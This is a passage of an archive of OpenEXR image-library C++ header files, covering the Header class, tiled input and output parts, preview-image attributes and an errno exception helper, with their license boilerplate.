breakTile(dx,dy,lx,ly,p,n,c) introduces an error into the // output file by writing n copies of character c, starting // p bytes from the beginning of the tile with tile coordinates // (dx, dy) and level number (lx, ly). // // Warning: Calling this function usually results in a broken // image file. The file or parts of it may not be readable, // or the file may contain bad data. // //------------------------------------------------------------- void breakTile (int dx, int dy, int lx, int ly, int offset, int length, char c); struct Data; private: // ---------------------------------------------------------------- // A constructor attaches the OutputStreamMutex to the // given one from MultiPartOutputFile. Set the previewPosition // and lineOffsetsPosition which have been acquired from // the constructor of MultiPartOutputFile as well. // ---------------------------------------------------------------- TiledOutputFile (const OutputPartData* part); TiledOutputFile (const TiledOutputFile &); // not implemented TiledOutputFile & operator = (const TiledOutputFile &); // not implemented void initialize (const Header &header); bool isValidTile (int dx, int dy, int lx, int ly) const; size_t bytesPerLineForTile (int dx, int dy, int lx, int ly) const; Data * _data; OutputStreamMutex* _streamData; bool _deleteStream; friend class MultiPartOutputFile; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfPreviewImageAttribute.h 0000644 00000005266 15246445047 0013125 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_PREVIEW_IMAGE_ATTRIBUTE_H #define INCLUDED_IMF_PREVIEW_IMAGE_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class PreviewImageAttribute // //----------------------------------------------------------------------------- #include "ImfAttribute.h" #include "ImfPreviewImage.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER typedef TypedAttribute<OPENEXR_IMF_INTERNAL_NAMESPACE::PreviewImage> PreviewImageAttribute; template <> IMF_EXPORT const char *PreviewImageAttribute::staticTypeName (); template <> IMF_EXPORT void PreviewImageAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void PreviewImageAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/IexThrowErrnoExc.h 0000644 00000006630 15246445047 0011434 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IEXTHROWERRNOEXC_H #define INCLUDED_IEXTHROWERRNOEXC_H //---------------------------------------------------------- // // A function which throws ExcErrno exceptions // //---------------------------------------------------------- #include "IexBaseExc.h" #include "IexExport.h" IEX_INTERNAL_NAMESPACE_HEADER_ENTER //-------------------------------------------------------------------------- // // Function throwErrnoExc() throws an exception which corresponds to // error code errnum. The exception text is initialized with a copy // of the string passed to throwErrnoExc(), where all occurrences of // "%T" have been replaced with the output of strerror(oserror()). // // Example: // // If opening file /tmp/output failed with an ENOENT error code, // calling // // throwErrnoExc (); // // or // // throwErrnoExc ("%T."); // // will throw an EnoentExc whose text reads // // No such file or directory. // // More detailed messages can be assembled using stringstreams: // // std::stringstream s; // s << "Cannot open file " << name << " (%T)."; // throwErrnoExc (s); // // The resulting exception contains the following text: // // Cannot open file /tmp/output (No such file or directory). // // Alternatively, you may want to use the THROW_ERRNO macro defined // in IexMacros.h: // // THROW_ERRNO ("Cannot open file " << name << " (%T).") // //-------------------------------------------------------------------------- IEX_EXPORT void throwErrnoExc(const std::string &txt, int errnum); IEX_EXPORT void throwErrnoExc(const std::string &txt); IEX_EXPORT void throwErrnoExc(); IEX_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IEXTHROWERRNOEXC_H OpenEXR/ImfStringVectorAttribute.h 0000644 00000005311 15246445047 0013161 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2007, Weta Digital Ltd // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Weta Digital nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_STRINGVECTOR_ATTRIBUTE_H #define INCLUDED_IMF_STRINGVECTOR_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class StringVectorAttribute // //----------------------------------------------------------------------------- #include "ImfAttribute.h" #include "ImfNamespace.h" #include <string> #include <vector> OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER typedef std::vector<std::string> StringVector; typedef TypedAttribute<OPENEXR_IMF_INTERNAL_NAMESPACE::StringVector> StringVectorAttribute; template <> IMF_EXPORT const char *StringVectorAttribute::staticTypeName (); template <> IMF_EXPORT void StringVectorAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void StringVectorAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImathExport.h 0000644 00000004200 15246445047 0010450 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #if defined(OPENEXR_DLL) #if defined(IMATH_EXPORTS) #define IMATH_EXPORT __declspec(dllexport) #define IMATH_EXPORT_CONST extern __declspec(dllexport) #else #define IMATH_EXPORT __declspec(dllimport) #define IMATH_EXPORT_CONST extern __declspec(dllimport) #endif #else #define IMATH_EXPORT #define IMATH_EXPORT_CONST extern const #endif OpenEXR/ImfHeader.h 0000644 00000046423 15246445047 0010045 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_HEADER_H #define INCLUDED_IMF_HEADER_H //----------------------------------------------------------------------------- // // class Header // //----------------------------------------------------------------------------- #include "ImfLineOrder.h" #include "ImfCompression.h" #include "ImfName.h" #include "ImfTileDescription.h" #include "ImfInt64.h" #include "ImathVec.h" #include "ImathBox.h" #include "IexBaseExc.h" #include "ImfForward.h" #include "ImfNamespace.h" #include "ImfExport.h" #include <map> #include <iosfwd> #include <string> OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER using std::string; class IMF_EXPORT Header { public: //---------------------------------------------------------------- // Default constructor -- the display window and the data window // are both set to Box2i (V2i (0, 0), V2i (width-1, height-1). //---------------------------------------------------------------- Header (int width = 64, int height = 64, float pixelAspectRatio = 1, const IMATH_NAMESPACE::V2f &screenWindowCenter = IMATH_NAMESPACE::V2f (0, 0), float screenWindowWidth = 1, LineOrder lineOrder = INCREASING_Y, Compression = ZIP_COMPRESSION); //-------------------------------------------------------------------- // Constructor -- the data window is specified explicitly; the display // window is set to Box2i (V2i (0, 0), V2i (width-1, height-1). //-------------------------------------------------------------------- Header (int width, int height, const IMATH_NAMESPACE::Box2i &dataWindow, float pixelAspectRatio = 1, const IMATH_NAMESPACE::V2f &screenWindowCenter = IMATH_NAMESPACE::V2f (0, 0), float screenWindowWidth = 1, LineOrder lineOrder = INCREASING_Y, Compression = ZIP_COMPRESSION); //---------------------------------------------------------- // Constructor -- the display window and the data window are // both specified explicitly. //---------------------------------------------------------- Header (const IMATH_NAMESPACE::Box2i &displayWindow, const IMATH_NAMESPACE::Box2i &dataWindow, float pixelAspectRatio = 1, const IMATH_NAMESPACE::V2f &screenWindowCenter = IMATH_NAMESPACE::V2f (0, 0), float screenWindowWidth = 1, LineOrder lineOrder = INCREASING_Y, Compression = ZIP_COMPRESSION); //----------------- // Copy constructor //----------------- Header (const Header &other); //----------- // Destructor //----------- ~Header (); //----------- // Assignment //----------- Header & operator = (const Header &other); //--------------------------------------------------------------- // Add an attribute: // // insert(n,attr) If no attribute with name n exists, a new // attribute with name n, and the same type as // attr, is added, and the value of attr is // copied into the new attribute. // // If an attribute with name n exists, and its // type is the same as attr, the value of attr // is copied into this attribute. // // If an attribute with name n exists, and its // type is different from attr, an IEX_NAMESPACE::TypeExc // is thrown. // //--------------------------------------------------------------- void insert (const char name[], const Attribute &attribute); void insert (const std::string &name, const Attribute &attribute); //--------------------------------------------------------------- // Remove an attribute: // // remove(n) If an attribute with name n exists, then it // is removed from the map of present attributes. // // If no attribute with name n exists, then this // functions becomes a 'no-op' // //--------------------------------------------------------------- void erase (const char name[]); void erase (const std::string &name); //------------------------------------------------------------------ // Access to existing attributes: // // [n] Returns a reference to the attribute // with name n. If no attribute with // name n exists, an IEX_NAMESPACE::ArgExc is thrown. // // typedAttribute<T>(n) Returns a reference to the attribute // with name n and type T. If no attribute // with name n exists, an IEX_NAMESPACE::ArgExc is // thrown. If an attribute with name n // exists, but its type is not T, an // IEX_NAMESPACE::TypeExc is thrown. // // findTypedAttribute<T>(n) Returns a pointer to the attribute with // name n and type T, or 0 if no attribute // with name n and type T exists. // //------------------------------------------------------------------ Attribute & operator [] (const char name[]); const Attribute & operator [] (const char name[]) const; Attribute & operator [] (const std::string &name); const Attribute & operator [] (const std::string &name) const; template <class T> T& typedAttribute (const char name[]); template <class T> const T& typedAttribute (const char name[]) const; template <class T> T& typedAttribute (const std::string &name); template <class T> const T& typedAttribute (const std::string &name) const; template <class T> T* findTypedAttribute (const char name[]); template <class T> const T* findTypedAttribute (const char name[]) const; template <class T> T* findTypedAttribute (const std::string &name); template <class T> const T* findTypedAttribute (const std::string &name) const; //--------------------------------------------- // Iterator-style access to existing attributes //--------------------------------------------- typedef std::map <Name, Attribute *> AttributeMap; class Iterator; class ConstIterator; Iterator begin (); ConstIterator begin () const; Iterator end (); ConstIterator end () const; Iterator find (const char name[]); ConstIterator find (const char name[]) const; Iterator find (const std::string &name); ConstIterator find (const std::string &name) const; //-------------------------------- // Access to predefined attributes //-------------------------------- IMATH_NAMESPACE::Box2i & displayWindow (); const IMATH_NAMESPACE::Box2i & displayWindow () const; IMATH_NAMESPACE::Box2i & dataWindow (); const IMATH_NAMESPACE::Box2i & dataWindow () const; float & pixelAspectRatio (); const float & pixelAspectRatio () const; IMATH_NAMESPACE::V2f & screenWindowCenter (); const IMATH_NAMESPACE::V2f & screenWindowCenter () const; float & screenWindowWidth (); const float & screenWindowWidth () const; ChannelList & channels (); const ChannelList & channels () const; LineOrder & lineOrder (); const LineOrder & lineOrder () const; Compression & compression (); const Compression & compression () const; //----------------------------------------------------- // Access to required attributes for multipart files // They are optional to non-multipart files and mandatory // for multipart files. //----------------------------------------------------- void setName (const string& name); string& name(); const string& name() const; bool hasName() const; void setType (const string& Type); string& type(); const string& type() const; bool hasType() const; void setVersion (const int version); int& version(); const int& version() const; bool hasVersion() const; // // the chunkCount attribute is set automatically when a file is written. // There is no need to set it manually // void setChunkCount(int chunks); bool hasChunkCount() const; const int & chunkCount() const; int & chunkCount(); // // for multipart files, return whether the file has a view string attribute // (for the deprecated single part multiview format EXR, see ImfMultiView.h) // void setView(const string & view); bool hasView() const; string & view(); const string & view() const; //---------------------------------------------------------------------- // Tile Description: // // The tile description is a TileDescriptionAttribute whose name // is "tiles". The "tiles" attribute must be present in any tiled // image file. When present, it describes various properties of the // tiles that make up the file. // // Convenience functions: // // setTileDescription(td) // calls insert ("tiles", TileDescriptionAttribute (td)) // // tileDescription() // returns typedAttribute<TileDescriptionAttribute>("tiles").value() // // hasTileDescription() // return findTypedAttribute<TileDescriptionAttribute>("tiles") != 0 // //---------------------------------------------------------------------- void setTileDescription (const TileDescription & td); TileDescription & tileDescription (); const TileDescription & tileDescription () const; bool hasTileDescription() const; //---------------------------------------------------------------------- // Preview image: // // The preview image is a PreviewImageAttribute whose name is "preview". // This attribute is special -- while an image file is being written, // the pixels of the preview image can be changed repeatedly by calling // OutputFile::updatePreviewImage(). // // Convenience functions: // // setPreviewImage(p) // calls insert ("preview", PreviewImageAttribute (p)) // // previewImage() // returns typedAttribute<PreviewImageAttribute>("preview").value() // // hasPreviewImage() // return findTypedAttribute<PreviewImageAttribute>("preview") != 0 // //---------------------------------------------------------------------- void setPreviewImage (const PreviewImage &p); PreviewImage & previewImage (); const PreviewImage & previewImage () const; bool hasPreviewImage () const; //------------------------------------------------------------- // Sanity check -- examines the header, and throws an exception // if it finds something wrong (empty display window, negative // pixel aspect ratio, unknown compression sceme etc.) // // set isTiled to true if you are checking a tiled/multi-res // header //------------------------------------------------------------- void sanityCheck (bool isTiled = false, bool isMultipartFile = false) const; //---------------------------------------------------------------- // Maximum image size and maximim tile size: // // sanityCheck() will throw an exception if the width or height of // the data window exceeds the maximum image width or height, or // if the size of a tile exceeds the maximum tile width or height. // // At program startup the maximum image and tile width and height // are set to zero, meaning that width and height are unlimited. // // Limiting image and tile width and height limits how much memory // will be allocated when a file is opened. This can help protect // applications from running out of memory while trying to read // a damaged image file. //---------------------------------------------------------------- static void setMaxImageSize (int maxWidth, int maxHeight); static void setMaxTileSize (int maxWidth, int maxHeight); // // Check if the header reads nothing. // bool readsNothing(); //------------------------------------------------------------------ // Input and output: // // If the header contains a preview image attribute, then writeTo() // returns the position of that attribute in the output stream; this // information is used by OutputFile::updatePreviewImage(). // If the header contains no preview image attribute, then writeTo() // returns 0. //------------------------------------------------------------------ Int64 writeTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &os, bool isTiled = false) const; void readFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &is, int &version); private: AttributeMap _map; bool _readsNothing; }; //---------- // Iterators //---------- class Header::Iterator { public: Iterator (); Iterator (const Header::AttributeMap::iterator &i); Iterator & operator ++ (); Iterator operator ++ (int); const char * name () const; Attribute & attribute () const; private: friend class Header::ConstIterator; Header::AttributeMap::iterator _i; }; class Header::ConstIterator { public: ConstIterator (); ConstIterator (const Header::AttributeMap::const_iterator &i); ConstIterator (const Header::Iterator &other); ConstIterator & operator ++ (); ConstIterator operator ++ (int); const char * name () const; const Attribute & attribute () const; private: friend bool operator == (const ConstIterator &, const ConstIterator &); friend bool operator != (const ConstIterator &, const ConstIterator &); Header::AttributeMap::const_iterator _i; }; //------------------------------------------------------------------------ // Library initialization: // // In a multithreaded program, staticInitialize() must be called once // during startup, before the program accesses any other functions or // classes in the IlmImf library. Calling staticInitialize() in this // way avoids races during initialization of the library's global // variables. // // Single-threaded programs are not required to call staticInitialize(); // initialization of the library's global variables happens automatically. // //------------------------------------------------------------------------ void staticInitialize (); //----------------- // Inline Functions //----------------- inline Header::Iterator::Iterator (): _i() { // empty } inline Header::Iterator::Iterator (const Header::AttributeMap::iterator &i): _i (i) { // empty } inline Header::Iterator & Header::Iterator::operator ++ () { ++_i; return *this; } inline Header::Iterator Header::Iterator::operator ++ (int) { Iterator tmp = *this; ++_i; return tmp; } inline const char * Header::Iterator::name () const { return *_i->first; } inline Attribute & Header::Iterator::attribute () const { return *_i->second; } inline Header::ConstIterator::ConstIterator (): _i() { // empty } inline Header::ConstIterator::ConstIterator (const Header::AttributeMap::const_iterator &i): _i (i) { // empty } inline Header::ConstIterator::ConstIterator (const Header::Iterator &other): _i (other._i) { // empty } inline Header::ConstIterator & Header::ConstIterator::operator ++ () { ++_i; return *this; } inline Header::ConstIterator Header::ConstIterator::operator ++ (int) { ConstIterator tmp = *this; ++_i; return tmp; } inline const char * Header::ConstIterator::name () const { return *_i->first; } inline const Attribute & Header::ConstIterator::attribute () const { return *_i->second; } inline bool operator == (const Header::ConstIterator &x, const Header::ConstIterator &y) { return x._i == y._i; } inline bool operator != (const Header::ConstIterator &x, const Header::ConstIterator &y) { return !(x == y); } //--------------------- // Template definitions //--------------------- template <class T> T & Header::typedAttribute (const char name[]) { Attribute *attr = &(*this)[name]; T *tattr = dynamic_cast <T*> (attr); if (tattr == 0) throw IEX_NAMESPACE::TypeExc ("Unexpected attribute type."); return *tattr; } template <class T> const T & Header::typedAttribute (const char name[]) const { const Attribute *attr = &(*this)[name]; const T *tattr = dynamic_cast <const T*> (attr); if (tattr == 0) throw IEX_NAMESPACE::TypeExc ("Unexpected attribute type."); return *tattr; } template <class T> T & Header::typedAttribute (const std::string &name) { return typedAttribute<T> (name.c_str()); } template <class T> const T & Header::typedAttribute (const std::string &name) const { return typedAttribute<T> (name.c_str()); } template <class T> T * Header::findTypedAttribute (const char name[]) { AttributeMap::iterator i = _map.find (name); return (i == _map.end())? 0: dynamic_cast <T*> (i->second); } template <class T> const T * Header::findTypedAttribute (const char name[]) const { AttributeMap::const_iterator i = _map.find (name); return (i == _map.end())? 0: dynamic_cast <const T*> (i->second); } template <class T> T * Header::findTypedAttribute (const std::string &name) { return findTypedAttribute<T> (name.c_str()); } template <class T> const T * Header::findTypedAttribute (const std::string &name) const { return findTypedAttribute<T> (name.c_str()); } OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfTiledInputPart.h 0000644 00000011065 15246445047 0011557 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef IMFTILEDINPUTPART_H_ #define IMFTILEDINPUTPART_H_ #include "ImfMultiPartInputFile.h" #include "ImfTiledInputFile.h" #include "ImfNamespace.h" #include "ImfForward.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER //----------------------------------------------------------------------------- // class TiledInputPart: // // Same interface as TiledInputFile. Please have a reference to TiledInputFile. //----------------------------------------------------------------------------- class IMF_EXPORT TiledInputPart { public: TiledInputPart(MultiPartInputFile& multiPartFile, int partNumber); const char * fileName () const; const Header & header () const; int version () const; void setFrameBuffer (const FrameBuffer &frameBuffer); const FrameBuffer & frameBuffer () const; bool isComplete () const; unsigned int tileXSize () const; unsigned int tileYSize () const; LevelMode levelMode () const; LevelRoundingMode levelRoundingMode () const; int numLevels () const; int numXLevels () const; int numYLevels () const; bool isValidLevel (int lx, int ly) const; int levelWidth (int lx) const; int levelHeight (int ly) const; int numXTiles (int lx = 0) const; int numYTiles (int ly = 0) const; IMATH_NAMESPACE::Box2i dataWindowForLevel (int l = 0) const; IMATH_NAMESPACE::Box2i dataWindowForLevel (int lx, int ly) const; IMATH_NAMESPACE::Box2i dataWindowForTile (int dx, int dy, int l = 0) const; IMATH_NAMESPACE::Box2i dataWindowForTile (int dx, int dy, int lx, int ly) const; void readTile (int dx, int dy, int l = 0); void readTile (int dx, int dy, int lx, int ly); void readTiles (int dx1, int dx2, int dy1, int dy2, int lx, int ly); void readTiles (int dx1, int dx2, int dy1, int dy2, int l = 0); void rawTileData (int &dx, int &dy, int &lx, int &ly, const char *&pixelData, int &pixelDataSize); private: TiledInputFile* file; // for internal use - allow TiledOutputFile access to file for copyPixels friend class TiledOutputFile; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif /* IMFTILEDINPUTPART_H_ */ OpenEXR/ImfPreviewImage.h 0000644 00000011234 15246445047 0011231 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2003, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_PREVIEW_IMAGE_H #define INCLUDED_IMF_PREVIEW_IMAGE_H #include "ImfNamespace.h" #include "ImfExport.h" //----------------------------------------------------------------------------- // // class PreviewImage -- a usually small, low-dynamic range image, // that is intended to be stored in an image file's header. // // struct PreviewRgba -- holds the value of a PreviewImage pixel. // //----------------------------------------------------------------------------- OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER struct IMF_EXPORT PreviewRgba { unsigned char r; // Red, green and blue components of unsigned char g; // the pixel's color; intensity is unsigned 